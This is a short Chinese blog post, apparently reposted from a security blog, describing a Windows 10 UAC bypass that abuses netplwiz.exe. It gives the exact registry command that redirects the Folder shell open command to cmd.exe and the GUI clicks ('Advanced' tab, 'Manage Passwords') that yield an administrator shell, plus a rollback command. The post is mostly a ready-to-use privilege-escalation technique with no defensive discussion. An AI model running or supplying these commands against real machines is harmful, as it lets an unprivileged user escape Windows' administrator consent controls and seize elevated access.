Windows 10 GUI UAC绕过（netplwiz.exe)

Windows 10 GUI UAC绕过（netplwiz.exe)

• 类型：GUI Hack
• 方法：注册表项操作
• 目标：\system32\netplwiz.exe
• 组件：攻击者定义
• Works from: window 10

HKCU\Software\Classes\Folder\shell\open\command

单击netplwiz.exe中的“管理密码”按钮时调用

 

 

产生步骤：

运行命令

reg add “HKCU\Software\Classes\Folder\shell\open\command” /d “cmd.exe /c cmd.exe” /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v “DelegateExecute” /f

在cmd中运行netplwiz.exe。
选择“ 高级 ”选项卡，然后单击“ 管理密码 ”按钮。
然后您将获得Administrator Shell。

 

 

回滚

reg delete “HKCU\Software\Classes\Folder\shell\open\command” /f

转载请注明：Adminxe's Blog » Windows 10 GUI UAC绕过（netplwiz.exe)